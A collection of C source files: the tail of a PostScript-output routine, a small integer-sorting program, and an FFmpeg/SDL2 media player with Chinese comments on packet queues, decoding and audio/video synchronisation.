(A4Height * fillfract)); res = L_MAX(resw, resh); return res; } /*-------------------------------------------------------------* * Setting flag for writing bounding box hint * *-------------------------------------------------------------*/ void l_psWriteBoundingBox(l_int32 flag) { var_PS_WRITE_BOUNDING_BOX = flag; } /* --------------------------------------------*/ #endif /* USE_PSIO */ /* --------------------------------------------*/
294863.c
#include<stdio.h> #include<math.h> int main(){ int a,b,c,aux; printf("Digite tres numeros inteiros: "); scanf("%i%i%i",&a,&b,&c); if(a>b){ aux=a; a=b; b=aux; } if(a>c){ aux=a; a=c; c=aux; } if(b>c){ aux=b; b=c; c=aux; } printf("Ordem crescente: %i %i %i\n",a,b,c); }
886414.c
// // ks_media_player.c // KSMediaPlayer // // Created by saeipi on 2020/6/1. // Copyright © 2020 saeipi. All rights reserved. // #include "ks_media_player.h" #include <string.h> #include <assert.h> #include <math.h> #include "libavcodec/avcodec.h" #include "libavformat/avformat.h" #include "libswscale/swscale.h" #include "libswresample/swresample.h" #include "libavutil/time.h" #include "libavutil/avstring.h" #include "SDL2/SDL.h" // compatibility with newer API #if LIBAVCODEC_VERSION_INT < AV_VERSION_INT(55,28,1) #define av_frame_alloc avcodec_alloc_frame #define av_frame_free avcodec_free_frame #endif /* 音频缓存区大小*/ #define SDL_AUDIO_BUFFER_SIZE 1024 #define MAX_AUDIO_FRAME_SIZE 192000 //channels(2) * data_size(2) * sample_rate(48000) #define MAX_AUDIOQ_SIZE (5 * 16 * 1024) #define MAX_VIDEOQ_SIZE (5 * 256 * 1024) #define AV_SYNC_THRESHOLD 0.01 /* 同步阈值。如果误差太大,则不进行校正,也不丢帧来做同步了 */ #define AV_NOSYNC_THRESHOLD 10.0 #define SAMPLE_CORRECTION_PERCENT_MAX 10 #define AUDIO_DIFF_AVG_NB 20 #define FF_REFRESH_EVENT (SDL_USEREVENT) #define FF_QUIT_EVENT (SDL_USEREVENT + 1) #define VIDEO_PICTURE_QUEUE_SIZE 1 #define DEFAULT_AV_SYNC_TYPE AV_SYNC_AUDIO_MASTER //AV_SYNC_VIDEO_MASTER /* typedef struct AVPacketList { AVPacket pkt; struct AVPacketList *next; } AVPacketList; */ typedef struct PacketQueue { //队列头,队列尾 AVPacketList *first_pkt, *last_pkt; //队列中有多少个包 int nb_packets; //对了存储空间大小 int size; //互斥量:加锁,解锁用 SDL_mutex *mutex; //条件变量:同步用 SDL_cond *cond; } PacketQueue; typedef struct VideoPicture { AVPicture *bmp;//YUV数据 int width, height; /* source height & width */ int allocated;//是否分配YUV数据 double pts;//展示时间 } VideoPicture; typedef struct VideoState { //multi-media file char filename[1024]; //多媒体文件格式上下文 AVFormatContext *pFormatCtx; int videoStream, audioStream; //sync int av_sync_type; //外部时钟 double external_clock; /* external clock base */ int64_t external_clock_time; double audio_diff_cum; /* used for AV difference average computation */ double audio_diff_avg_coef; double audio_diff_threshold; int audio_diff_avg_count; //音频正在播放的时间 double audio_clock; //下次要回调的timer是多少 double frame_timer; //上一帧播放视频帧的pts double frame_last_pts; //上一帧播放视频帧增加的delay double frame_last_delay; //下一帧,将要播放视频帧的pts时间 double video_clock; ///<pts of last decoded frame / predicted pts of next decoded frame double video_current_pts; ///<current displayed pts (different from video_clock if frame fifos are used) int64_t video_current_pts_time; ///<time (av_gettime) at which we updated video_current_pts - used to have running video pts //audio //音频流 AVStream *audio_st; //音频解码上下文 AVCodecContext *audio_ctx; //音频队列 PacketQueue audioq; //解码后的音频缓冲区 uint8_t audio_buf[(MAX_AUDIO_FRAME_SIZE * 3) / 2]; //缓冲区大小 unsigned int audio_buf_size; //现在已经使用了多少字节 unsigned int audio_buf_index; //解码后的音频帧 AVFrame audio_frame; //解码之前的音频包(可能包含多个视频帧或者音频帧) AVPacket audio_pkt; //解码前音频包数据的指针(单个包) uint8_t *audio_pkt_data; //解码后音频数据大小(单个包) int audio_pkt_size; //视乎没有用到??? int audio_hw_buf_size; //video //视频流 AVStream *video_st; //视屏解码上下文 AVCodecContext *video_ctx; //视频队列 PacketQueue videoq; //视频裁剪上下文 struct SwsContext *video_sws_ctx; //音频重采样上下文,因为音频设备的参数是固定的,所以需要重采样(参数设置,例如采样率,采样格式,双声道) SwrContext *audio_swr_ctx; //解码后的视频帧队列 VideoPicture pictq[VIDEO_PICTURE_QUEUE_SIZE]; //pictq_size:解码后的队列大小,pictq_rindex:取的位置,pictq_windex:存的位置 int pictq_size, pictq_rindex, pictq_windex; //视频帧队列锁 SDL_mutex *pictq_mutex; //视频帧队列信号量 SDL_cond *pictq_cond; //解复用线程 SDL_Thread *parse_tid; //解码线程 SDL_Thread *video_tid; //退出:1退出 int quit; } VideoState; SDL_mutex *text_mutex; SDL_Window *win = NULL; SDL_Renderer *renderer; SDL_Texture *texture; //同步方案 enum { AV_SYNC_AUDIO_MASTER, AV_SYNC_VIDEO_MASTER, AV_SYNC_EXTERNAL_MASTER, }; /* Since we only have one decoding thread, the Big Struct can be global in case we need it. */ /* 全局视频状态管理 */ VideoState *global_video_state; /* memset函数:将某一块内存中的内容全部设置为指定的值, 这个函数通常为新申请的内存做初始化工作。 extern void *memset(void *buffer, int c, int count) buffer:为指针或是数组,c:是赋给buffer的值,count:是buffer的长度. */ //初始化队列 void packet_queue_init(PacketQueue *q) { memset(q, 0, sizeof(PacketQueue)); q->mutex = SDL_CreateMutex(); q->cond = SDL_CreateCond(); } //入队,q:队列,pck:要插入的数据包 int packet_queue_put(PacketQueue *q, AVPacket *pkt) { AVPacketList *pkt1; //引用计数+1 /* av_dup_packet, 通过调用 av_malloc、memcpy、memset等函数, 将shared buffer 的AVPacket duplicate(复制)到独立的buffer中。并且修改AVPacket的析构函数指针av_destruct_pkt。 */ if(av_dup_packet(pkt) < 0) { return -1; } /* int av_dup_packet(AVPacket *pkt); 复制src->data引用的数据缓存,赋值给dst。也就是创建两个独立packet,这个功能现在可用使用函数av_packet_ref来代替 */ //分配空间 pkt1 = av_malloc(sizeof(AVPacketList)); if (!pkt1) return -1; pkt1->pkt = *pkt; pkt1->next = NULL; //加锁 SDL_LockMutex(q->mutex); if (!q->last_pkt) q->first_pkt = pkt1;//如果是空队列 else q->last_pkt->next = pkt1;//设成最后一个包的下一个元素 //移动指针,最后一个元素指向pkt1 q->last_pkt = pkt1; //元素个数增加 q->nb_packets++; //统计每一个包的size,求和 q->size += pkt1->pkt.size; //发送信号,让等待的线程唤醒 //这里的实现:条件变量先解锁->发送信号->再加锁,SDL_CondSignal需要在锁中间做 SDL_CondSignal(q->cond); //解锁 SDL_UnlockMutex(q->mutex); return 0; } //出队,pck为out,block是否阻塞 int packet_queue_get(PacketQueue *q, AVPacket *pkt, int block) { AVPacketList *pkt1; int ret; /* SDL_LockMutex :互斥锁(加锁) */ SDL_LockMutex(q->mutex); for(;;) { /* 是否退出 */ if(global_video_state->quit) { ret = -1; break; } //获取队列头 pkt1 = q->first_pkt; if (pkt1) { //更新队列头的指针 q->first_pkt = pkt1->next; if (!q->first_pkt){ q->last_pkt = NULL;//队列已经空了 } //元素个数减1 q->nb_packets--; //减去出队列包数据大小 q->size -= pkt1->pkt.size; //取出真正的AVPacket数据 *pkt = pkt1->pkt; //释放分配的内存 av_free(pkt1); ret = 1; break; } else if (!block) { ret = 0; break; } else { //如果没有取到数据,加锁等待 //这里的实现:先解锁->发送信号->再加锁,SDL_CondWait需要在所中间做 /* SDL_CondWait :等待(线程阻塞) */ SDL_CondWait(q->cond, q->mutex); } } /* SDL_UnlockMutex : 互斥锁(解锁) */ SDL_UnlockMutex(q->mutex); return ret; } double get_audio_clock(VideoState *is) { double pts; int hw_buf_size, bytes_per_sec, n; /* 音频正在播放的时间 0.34829931972789113 */ pts = is->audio_clock; /* maintained in the audio thread */ /* 缓冲区大小 - 现在已经使用了多少字节 = 0 ?? 一直等于O */ hw_buf_size = is->audio_buf_size - is->audio_buf_index; bytes_per_sec = 0; /* 双声道 * 2 = 4 */ n = is->audio_ctx->channels * 2; /* 判断是否有音频流 */ if(is->audio_st) { /* is->audio_ctx->sample_rate:采样率44100 * 4 = 176400 */ bytes_per_sec = is->audio_ctx->sample_rate * n; } /* 计算播放时间 */ if(bytes_per_sec) { /* pts -= 0 ÷ 176400 */ pts -= (double)hw_buf_size / bytes_per_sec; } /* 音频正在播放的时间 0.34829931972789113*/ return pts; } /* 获取视屏时钟*/ double get_video_clock(VideoState *is) { double delta; /* av_gettime():获取当前时间(以微秒为单位)。 */ delta = (av_gettime() - is->video_current_pts_time) / 1000000.0; return is->video_current_pts + delta; } /* 获取外部时钟 */ double get_external_clock(VideoState *is) { return av_gettime() / 1000000.0; } /* 主时钟 */ double get_master_clock(VideoState *is) { if(is->av_sync_type == AV_SYNC_VIDEO_MASTER) { /* 视屏帧同步方案 */ return get_video_clock(is); } else if(is->av_sync_type == AV_SYNC_AUDIO_MASTER) { /* 音频同步方案 */ return get_audio_clock(is); } else { /* 外部时钟同步方案 */ return get_external_clock(is); } } /* Add or subtract samples to get a better sync, return new audio buffer size */ int synchronize_audio(VideoState *is, short *samples, int samples_size, double pts) { int n; double ref_clock; n = 2 * is->audio_ctx->channels; /* 非音频同步方案 */ if(is->av_sync_type != AV_SYNC_AUDIO_MASTER) { double diff, avg_diff; int wanted_size, min_size, max_size /*, nb_samples */; /* 获取时钟 */ ref_clock = get_master_clock(is); /* 音频时钟 - 主时钟*/ diff = get_audio_clock(is) - ref_clock; /* 声音时钟和视频时钟的差异在我们的阀值范围内 */ if(diff < AV_NOSYNC_THRESHOLD) { // accumulate the diffs /* 用公式diff_sum=new_diff+diff_sum*c来计算差异 */ is->audio_diff_cum = diff + is->audio_diff_avg_coef * is->audio_diff_cum; /* 音频差异平均计数*/ if(is->audio_diff_avg_count < AUDIO_DIFF_AVG_NB) { is->audio_diff_avg_count++; } else { /* 当准备好去找平均差异的时候,我们用简单的计算方式:avg_diff=diff_sum*(1-c)来平均差异 */ avg_diff = is->audio_diff_cum * (1.0 - is->audio_diff_avg_coef); /* 音频现在时钟大于视频现在时钟 */ if(fabs(avg_diff) >= is->audio_diff_threshold) { /* 记住audio_length*(sample_rate)*channels*2就是audio_length秒时间的样本数。*/ wanted_size = samples_size + ((int)(diff * is->audio_ctx->sample_rate) * n); min_size = samples_size * ((100 - SAMPLE_CORRECTION_PERCENT_MAX) / 100); max_size = samples_size * ((100 + SAMPLE_CORRECTION_PERCENT_MAX) / 100); if(wanted_size < min_size) { wanted_size = min_size; } else if (wanted_size > max_size) { wanted_size = max_size; } if(wanted_size < samples_size) { /* remove samples */ samples_size = wanted_size; } else if(wanted_size > samples_size) { uint8_t *samples_end, *q; int nb; /* add samples by copying final sample*/ nb = (samples_size - wanted_size); samples_end = (uint8_t *)samples + samples_size - n; q = samples_end + n; while(nb > 0) { memcpy(q, samples_end, n); q += n; nb -= n; } samples_size = wanted_size; } } } } else { /* difference is TOO big; reset diff stuff */ /* 声音时钟和视频时钟的差异大于我们的阀值。失去同步 */ is->audio_diff_avg_count = 0; is->audio_diff_cum = 0; } } return samples_size; } //音频解码 int audio_decode_frame(VideoState *is, uint8_t *audio_buf, int buf_size, double *pts_ptr) { int len1, data_size = 0; AVPacket *pkt = &is->audio_pkt; double pts; int n; for(;;) { while(is->audio_pkt_size > 0) { //有未解码的数据 int got_frame = 0; /*音频解码: int avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, int *got_frame_ptr, const AVPacket *avpkt); *@param avctx 编解码器上下文  *@param [out] frame用于存储解码音频样本的AVFrame  *@param [out] got_frame_ptr如果没有帧可以解码则为零,否则为非零  *@param [in] avpkt包含输入缓冲区的输入AVPacket  *@return 如果在解码期间发生错误,则返回否定错误代码,否则返回从输入AVPacket消耗的字节数。 */ //取出一个音频包,进行解码 len1 = avcodec_decode_audio4(is->audio_ctx, &is->audio_frame, &got_frame, pkt); if(len1 < 0) { //解码失败 /* if error, skip frame */ is->audio_pkt_size = 0; break; } data_size = 0; if(got_frame) { /* //这个视频播放会变慢 data_size = av_samples_get_buffer_size(NULL, is->audio_ctx->channels, is->audio_frame.nb_samples, is->audio_ctx->sample_fmt, 1); */ /* 4096 = 2 * 1024 * 2 */ data_size = 2 * is->audio_frame.nb_samples * 2; assert(data_size <= buf_size); /* 进行内存拷贝,按字节拷贝的 */ //通过audio_buf返回数据 memcpy(audio_buf, is->audio_frame.data[0], data_size); /* int swr_convert(struct SwrContext *s, uint8_t **out, int out_count, const uint8_t **in, int in_count); 参数1:音频重采样的上下文 参数2:输出的指针。传递的输出的数组 参数3:输出的样本数量,不是字节数。单通道的样本数量。 参数4:输入的数组,AVFrame解码出来的DATA 参数5:输入的单通道的样本数量。 */ //重采样,转成声卡识别的声音(重采样后audio_buf会更新) swr_convert(is->audio_swr_ctx, &audio_buf, MAX_AUDIO_FRAME_SIZE*3/2, (const uint8_t **)is->audio_frame.data, is->audio_frame.nb_samples); } //更新音频数据大小 is->audio_pkt_data += len1; //减去已经解码的音频长度 is->audio_pkt_size -= len1; if(data_size <= 0) { /* No data yet, get more frames */ continue; } pts = is->audio_clock; //回调展示时间 *pts_ptr = pts; n = 2 * is->audio_ctx->channels; /* is->audio_clock += data_size:4096 + (n:4 * is->audio_ctx->sample_rate:44100)*/ is->audio_clock += (double)data_size / (double)(n * is->audio_ctx->sample_rate); /* We have data, return it and come back for more later */ return data_size; } if(pkt->data) { av_free_packet(pkt); } if(is->quit) { return -1; } /* next packet */ if(packet_queue_get(&is->audioq, pkt, 1) < 0) { //当音频队列中没有数据时,退出 return -1; } is->audio_pkt_data = pkt->data; is->audio_pkt_size = pkt->size; /* if update, update the audio clock w/pts */ //展示时间:未定义的时间戳值 if(pkt->pts != AV_NOPTS_VALUE) { /* timestamp(秒) = pts * av_q2d(time_base):将不同时间基的值转成按秒为单位的值计算 */ is->audio_clock = av_q2d(is->audio_st->time_base)*pkt->pts; } } } //userdata:需要解码的数据,stream:声卡驱动的缓冲区,的一个地址,len:需要的长度,stream的大小 void audio_callback(void *userdata, Uint8 *stream, int len) { VideoState *is = (VideoState *)userdata; int len1, audio_size; double pts; //SDL 2.0 使用SDL_memset()将stream中的数据设置为0。 SDL_memset(stream, 0, len); while(len > 0) { //声卡驱动的缓冲区空间 > 0 if(is->audio_buf_index >= is->audio_buf_size) { //audio_buf_index >= audio_buf_size:缓冲区已经没有数据 /* We have already sent all our data; get more */ //从音频队列中取出一个包,进行解码 //音频解码,解码成功后会拿到解码后数据的大小 audio_size = audio_decode_frame(is, is->audio_buf, sizeof(is->audio_buf), &pts); if(audio_size < 0) { /* If error, output silence */ //解码失败后,加一个静默音 is->audio_buf_size = 1024 * 2 * 2; //void *memset(void *b, int c, size_t len) : 数组清0 memset(is->audio_buf, 0, is->audio_buf_size); } else { /* 同步音频 */ audio_size = synchronize_audio(is, (int16_t *)is->audio_buf, audio_size, pts); is->audio_buf_size = audio_size; } is->audio_buf_index = 0; } len1 = is->audio_buf_size - is->audio_buf_index; //缓冲区大,还是解码数据大 if(len1 > len) len1 = len;//如果解码数据大,则使用缓冲区的数据 /* 对音频数据进行混音,不要直接用memcpy。否则声音会失真 */ SDL_MixAudio(stream,(uint8_t *)is->audio_buf + is->audio_buf_index, len1, SDL_MIX_MAXVOLUME); //memcpy(stream, (uint8_t *)is->audio_buf + is->audio_buf_index, len1);//将解码后audio_buf的数据拷贝到stream中去 len -= len1; stream += len1; is->audio_buf_index += len1; } } /* 刷新事件 */ static Uint32 sdl_refresh_timer_cb(Uint32 interval, void *opaque) { SDL_Event event; event.type = FF_REFRESH_EVENT; event.user.data1 = opaque; SDL_PushEvent(&event); return 0; /* 0 means stop timer */ } /* schedule a video refresh in 'delay' ms */ /* 延迟刷新 */ static void schedule_refresh(VideoState *is, int delay) { //触发主线程 SDL_AddTimer(delay, sdl_refresh_timer_cb, is); } /* SDL 显示YUV数据 */ void video_display(VideoState *is) { SDL_Rect rect; VideoPicture *vp; vp = &is->pictq[is->pictq_rindex]; if(vp->bmp) { SDL_UpdateYUVTexture( texture, NULL, vp->bmp->data[0], vp->bmp->linesize[0], vp->bmp->data[1], vp->bmp->linesize[1], vp->bmp->data[2], vp->bmp->linesize[2]); rect.x = 0; rect.y = 0; rect.w = is->video_ctx->width; rect.h = is->video_ctx->height; SDL_LockMutex(text_mutex); SDL_RenderClear( renderer ); SDL_RenderCopy( renderer, texture, NULL, &rect); SDL_RenderPresent( renderer ); SDL_UnlockMutex(text_mutex); } } //主线程!!! void video_refresh_timer(void *userdata) { VideoState *is = (VideoState *)userdata; VideoPicture *vp; double actual_delay, delay, sync_threshold, ref_clock, diff; /* 存在视屏流 */ if(is->video_st) { //视频解码数据为0,则递归查询数据 if(is->pictq_size == 0) { schedule_refresh(is, 1); //fprintf(stderr, "no picture in the queue!!!\n"); } else { //fprintf(stderr, "get picture from queue!!!\n"); vp = &is->pictq[is->pictq_rindex]; is->video_current_pts = vp->pts; is->video_current_pts_time = av_gettime(); //vp->pts:当前帧的pts delay = vp->pts - is->frame_last_pts; /* the pts from last time */ if(delay <= 0 || delay >= 1.0) { //延迟小于0,或者大于1秒,判定为错误 /* if incorrect delay, use previous one */ //设置为上一帧的delay,设置一个默认值 delay = is->frame_last_delay; } /* save for next time */ // 更新delay和pts is->frame_last_delay = delay; is->frame_last_pts = vp->pts;//更新展示pts的值 /* update delay to sync to audio if not master source */ if(is->av_sync_type != AV_SYNC_VIDEO_MASTER) { //获取播放音频参考时间 ref_clock = get_master_clock(is); //解码后的pts - 参考时间,从而判断是否展示视频帧,diff:音频与视频的时间差值 diff = vp->pts - ref_clock; /* Skip or repeat the frame. Take delay into account FFPlay still doesn't "know if this is the best guess." */ //如果delay时间大于阈值,则取最大值。sync_threshold同步阈值:代表多长时间刷新一次视频帧 sync_threshold = (delay > AV_SYNC_THRESHOLD) ? delay : AV_SYNC_THRESHOLD; if(fabs(diff) < AV_NOSYNC_THRESHOLD) { if(diff <= -sync_threshold) { //视频时间是在音频时间之前,需要快播 delay = 0; } else if(diff >= sync_threshold) { //视频和音频的阈值diff >= 我们设置的阈值sync_threshold,代表视频要展示的时间远远未到,这时等待时间加长,*2倍 delay = 2 * delay; } } } //系统时间+delay is->frame_timer += delay; /* computer the REAL delay */ //系统时间 - 当前时间 = 等待时间 actual_delay = is->frame_timer - (av_gettime() / 1000000.0); if(actual_delay < 0.010) { //小于10毫秒 /* Really it should skip the picture instead */ actual_delay = 0.010; } //递归X毫秒播一帧 //下次刷新的时间 = 等待时间 + 0.5的微差值 schedule_refresh(is, (int)(actual_delay * 1000 + 0.5)); /* show the picture! */ //展示当前帧 video_display(is); /* update queue for next picture! */ if(++is->pictq_rindex == VIDEO_PICTURE_QUEUE_SIZE) { is->pictq_rindex = 0; } SDL_LockMutex(is->pictq_mutex); is->pictq_size--; SDL_CondSignal(is->pictq_cond); SDL_UnlockMutex(is->pictq_mutex); } } else { schedule_refresh(is, 100); } } void alloc_picture(void *userdata) { int ret; VideoState *is = (VideoState *)userdata; VideoPicture *vp; vp = &is->pictq[is->pictq_windex]; if(vp->bmp) { // we already have one make another, bigger/smaller avpicture_free(vp->bmp); free(vp->bmp); vp->bmp = NULL; } // Allocate a place to put our YUV image on that screen SDL_LockMutex(text_mutex); vp->bmp = (AVPicture*)malloc(sizeof(AVPicture)); ret = avpicture_alloc(vp->bmp, AV_PIX_FMT_YUV420P, is->video_ctx->width, is->video_ctx->height); if (ret < 0) { fprintf(stderr, "Could not allocate temporary picture: %s\n", av_err2str(ret)); } SDL_UnlockMutex(text_mutex); vp->width = is->video_ctx->width; vp->height = is->video_ctx->height; vp->allocated = 1; } int queue_picture(VideoState *is, AVFrame *pFrame, double pts) { VideoPicture *vp; /* wait until we have space for a new pic */ /* SDL_LockMutex :互斥锁(加锁) */ SDL_LockMutex(is->pictq_mutex); while(is->pictq_size >= VIDEO_PICTURE_QUEUE_SIZE && !is->quit) { /* SDL_CondWait :等待(线程阻塞) */ SDL_CondWait(is->pictq_cond, is->pictq_mutex); } /* SDL_UnlockMutex : 互斥锁(解锁) */ SDL_UnlockMutex(is->pictq_mutex); if(is->quit){ return -1; } // windex is set to 0 initially //取出解码后的数据 vp = &is->pictq[is->pictq_windex]; /* allocate or resize the buffer! */ //这里没有对视屏分辨率中途修改做处理!!! if(!vp->bmp || vp->width != is->video_ctx->width || vp->height != is->video_ctx->height) { vp->allocated = 0; alloc_picture(is); if(is->quit) { return -1; } } /* We have a place to put our picture on the queue */ if(vp->bmp) { //更新PTS!!! vp->pts = pts; // Convert the image into YUV format that SDL uses //进行缩放,并将解码后的YUV数据放入AVPicture *bmp中,同时回调给调用 sws_scale(is->video_sws_ctx, (uint8_t const * const *)pFrame->data, pFrame->linesize, 0, is->video_ctx->height, vp->bmp->data, vp->bmp->linesize); /* now we inform our display thread that we have a pic ready */ if(++is->pictq_windex == VIDEO_PICTURE_QUEUE_SIZE) { is->pictq_windex = 0; } SDL_LockMutex(is->pictq_mutex); //更新解码后的队列大小 is->pictq_size++; SDL_UnlockMutex(is->pictq_mutex); } return 0; } double synchronize_video(VideoState *is, AVFrame *src_frame, double pts) { double frame_delay; if(pts != 0) { /* if we have pts, set video clock to it */ /* 如果我们有显示时间,就设置视频时钟 */ is->video_clock = pts; } else { /* if we aren't given a pts, set it to the clock */ //使用上一次的is->video_clock作为pts pts = is->video_clock; } /* update the video clock */ //用时间基计算每一帧的间隔 frame_delay = av_q2d(is->video_ctx->time_base); /* if we are repeating a frame, adjust clock accordingly */ //解码后的视频帧src_frame,他有个repeat_pict会重复的播放,repeat_pict:重复的次数 frame_delay += src_frame->repeat_pict * (frame_delay * 0.5); //is->video_clock:下一帧的pts is->video_clock += frame_delay; return pts; } //视频解码线程 int decode_video_thread(void *arg) { VideoState *is = (VideoState *)arg; AVPacket pkt1, *packet = &pkt1; int frameFinished; AVFrame *pFrame; double pts; // 存放解码后的数据帧 pFrame = av_frame_alloc(); for(;;) { //从视频队列中取出视频AVPacket包 if(packet_queue_get(&is->videoq, packet, 1) < 0) { // means we quit getting packets break; } pts = 0; // Decode video frame avcodec_decode_video2(is->video_ctx, pFrame, &frameFinished, packet); //av_frame_get_best_effort_timestamp(pFrame):获取做合适的pts /* 对解码后的AVFrame使用av_frame_get_best_effort_timestamp可以获取PTS */ if((pts = av_frame_get_best_effort_timestamp(pFrame)) != AV_NOPTS_VALUE) { } else { pts = 0; } //时间基换算,换算成秒 pts *= av_q2d(is->video_st->time_base); // Did we get a video frame? if(frameFinished) { //计算pts pts = synchronize_video(is, pFrame, pts); //视频帧放入解码后的视频队列中去 if(queue_picture(is, pFrame, pts) < 0) { break; } } av_free_packet(packet); } av_frame_free(&pFrame); return 0; } //通过stream_index找到流的信息 int stream_component_open(VideoState *is, int stream_index) { AVFormatContext *pFormatCtx = is->pFormatCtx; AVCodecContext *codecCtx = NULL; AVCodec *codec = NULL; SDL_AudioSpec wanted_spec, spec; if(stream_index < 0 || stream_index >= pFormatCtx->nb_streams) { return -1; } codecCtx = avcodec_alloc_context3(NULL); /* 将AVCodecContext的成员复制到AVCodecParameters结构体*/ int ret = avcodec_parameters_to_context(codecCtx, pFormatCtx->streams[stream_index]->codecpar); if (ret < 0) return -1; codec = avcodec_find_decoder(codecCtx->codec_id); if(!codec) { fprintf(stderr, "Unsupported codec!\n"); return -1; } if(codecCtx->codec_type == AVMEDIA_TYPE_AUDIO) { // Set audio settings from codec info //设置想要的音频播放参数 wanted_spec.freq = codecCtx->sample_rate;//采样率 wanted_spec.format = AUDIO_S16SYS;//采样格式 wanted_spec.channels = 2;//codecCtx->channels; wanted_spec.silence = 0; wanted_spec.samples = SDL_AUDIO_BUFFER_SIZE;//采样个数,每秒钟有多少个采样 wanted_spec.callback = audio_callback;//回调函数 wanted_spec.userdata = is;//回调函数参数 fprintf(stderr, "wanted spec: channels:%d, sample_fmt:%d, sample_rate:%d \n", 2, AUDIO_S16SYS, codecCtx->sample_rate); //打开音频设备 if(SDL_OpenAudio(&wanted_spec, &spec) < 0) { fprintf(stderr, "SDL_OpenAudio: %s\n", SDL_GetError()); return -1; } is->audio_hw_buf_size = spec.size; } if(avcodec_open2(codecCtx, codec, NULL) < 0) { fprintf(stderr, "Unsupported codec!\n"); return -1; } switch(codecCtx->codec_type) { case AVMEDIA_TYPE_AUDIO: //音频流index is->audioStream = stream_index; //具体的音频流 is->audio_st = pFormatCtx->streams[stream_index]; is->audio_ctx = codecCtx; is->audio_buf_size = 0; is->audio_buf_index = 0; //设置音频包 memset(&is->audio_pkt, 0, sizeof(is->audio_pkt)); //初始化音频队列,读取音频包后不是马上解码,而是存储到音频队列中,当声卡需要数据的时候,调用回调函数,回调函数再从队列中取出一个个音频包,再进行解码,解码后的数据再拷贝到音频驱动中去 packet_queue_init(&is->audioq); //Out Audio Param uint64_t out_channel_layout=AV_CH_LAYOUT_STEREO; //AAC:1024 MP3:1152 int out_nb_samples= is->audio_ctx->frame_size; //AVSampleFormat out_sample_fmt = AV_SAMPLE_FMT_S16; int out_sample_rate=is->audio_ctx->sample_rate; int out_channels=av_get_channel_layout_nb_channels(out_channel_layout); //Out Buffer Size /* int out_buffer_size=av_samples_get_buffer_size(NULL, out_channels, out_nb_samples, AV_SAMPLE_FMT_S16, 1); */ //uint8_t *out_buffer=(uint8_t *)av_malloc(MAX_AUDIO_FRAME_SIZE*2); int64_t in_channel_layout=av_get_default_channel_layout(is->audio_ctx->channels); //进行音频重采样,确保正常输出 SwrContext *audio_convert_ctx = swr_alloc_set_opts(NULL,//ctx out_channel_layout,//输出channel布局 AV_SAMPLE_FMT_S16,//输出的采样格式 out_sample_rate,//采样率 in_channel_layout,//输入channel布局 is->audio_ctx->sample_fmt,//输入的采样格式 is->audio_ctx->sample_rate,//输入的采样率 0, NULL); swr_init(audio_convert_ctx); fprintf(stderr, "swr opts: out_channel_layout:%lld, out_sample_fmt:%d, out_sample_rate:%d, in_channel_layout:%lld, in_sample_fmt:%d, in_sample_rate:%d", out_channel_layout, AV_SAMPLE_FMT_S16, out_sample_rate, in_channel_layout, is->audio_ctx->sample_fmt, is->audio_ctx->sample_rate); is->audio_swr_ctx = audio_convert_ctx; //开始播放 SDL_PauseAudio(0); break; case AVMEDIA_TYPE_VIDEO: is->videoStream = stream_index; is->video_st = pFormatCtx->streams[stream_index]; is->video_ctx = codecCtx; //获取系统时间!!! is->frame_timer = (double)av_gettime() / 1000000.0; is->frame_last_delay = 40e-3; is->video_current_pts_time = av_gettime(); packet_queue_init(&is->videoq); //图像裁剪(注意sws_getContext只能调用一次) is->video_sws_ctx = sws_getContext(is->video_ctx->width,//原始宽 is->video_ctx->height,//原始高 is->video_ctx->pix_fmt, is->video_ctx->width,//输出宽 is->video_ctx->height,//输出高 AV_PIX_FMT_YUV420P, SWS_BILINEAR, NULL, NULL, NULL ); //创建视频解码线程 is->video_tid = SDL_CreateThread(decode_video_thread, "decode_video_thread", is); break; default: break; } return 0; } void create_window(int width, int height) { //creat window from SDL win = SDL_CreateWindow("Media Player", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, width, height, SDL_WINDOW_OPENGL|SDL_WINDOW_RESIZABLE);//SDL_WINDOW_RESIZABLE:可大可小 if(!win) { fprintf(stderr, "SDL: could not set video mode - exiting\n"); exit(1); } renderer = SDL_CreateRenderer(win, -1, 0); //IYUV: Y + U + V (3 planes) //YV12: Y + V + U (3 planes) //像素格式:YUV的数据 Uint32 pixformat= SDL_PIXELFORMAT_IYUV; //create texture for render texture = SDL_CreateTexture(renderer, pixformat, SDL_TEXTUREACCESS_STREAMING, width, height); } //解复用线程 int demux_thread(void *arg) { int err_code; char errors[1024] = {0,}; VideoState *is = (VideoState *)arg; AVFormatContext *pFormatCtx; AVPacket pkt1, *packet = &pkt1; int video_index = -1; int audio_index = -1; int i; is->videoStream = -1; is->audioStream = -1; //设置全局视频状态 global_video_state = is; /* open input file, and allocate format context */ if ((err_code=avformat_open_input(&pFormatCtx, is->filename, NULL, NULL)) < 0) { av_strerror(err_code, errors, 1024); fprintf(stderr, "Could not open source file %s, %d(%s)\n", is->filename, err_code, errors); return -1; } is->pFormatCtx = pFormatCtx; // Retrieve stream information if(avformat_find_stream_info(pFormatCtx, NULL)<0) return -1; // Couldn't find stream information // Dump information about file onto standard error av_dump_format(pFormatCtx, 0, is->filename, 0); // Find the first video stream for(i=0; i<pFormatCtx->nb_streams; i++) { if(pFormatCtx->streams[i]->codec->codec_type==AVMEDIA_TYPE_VIDEO && video_index < 0) { video_index=i; } if(pFormatCtx->streams[i]->codec->codec_type==AVMEDIA_TYPE_AUDIO && audio_index < 0) { audio_index=i; } } if(audio_index >= 0) { stream_component_open(is, audio_index); } if(video_index >= 0) { stream_component_open(is, video_index); } if(is->videoStream < 0 || is->audioStream < 0) { fprintf(stderr, "%s: could not open codecs\n", is->filename); goto fail; } // main decode loop for(;;) { if(is->quit) { //发送信号量,告诉等待线程,等待线程判断是否quit //SDL_CondSignal(is->videoq.cond); //SDL_CondSignal(is->audioq.cond); break; } // seek stuff goes here if(is->audioq.size > MAX_AUDIOQ_SIZE || is->videoq.size > MAX_VIDEOQ_SIZE) { SDL_Delay(10); continue; } //读取一帧一帧的数据,压缩前的packet数据 if(av_read_frame(is->pFormatCtx, packet) < 0) { if(is->pFormatCtx->pb->error == 0) { SDL_Delay(100); /* no error; wait for user input */ continue; } else { break; } } // Is this a packet from the video stream? if(packet->stream_index == is->videoStream) { //放入视频队列 packet_queue_put(&is->videoq, packet); } else if(packet->stream_index == is->audioStream) { //放入音频队列 packet_queue_put(&is->audioq, packet); } else { av_free_packet(packet); } } /* all done - wait for it */ while(!is->quit) { SDL_Delay(100); } fail: if(1){ SDL_Event event; event.type = FF_QUIT_EVENT;//发信号,退出 event.user.data1 = is; SDL_PushEvent(&event); } return 0; } 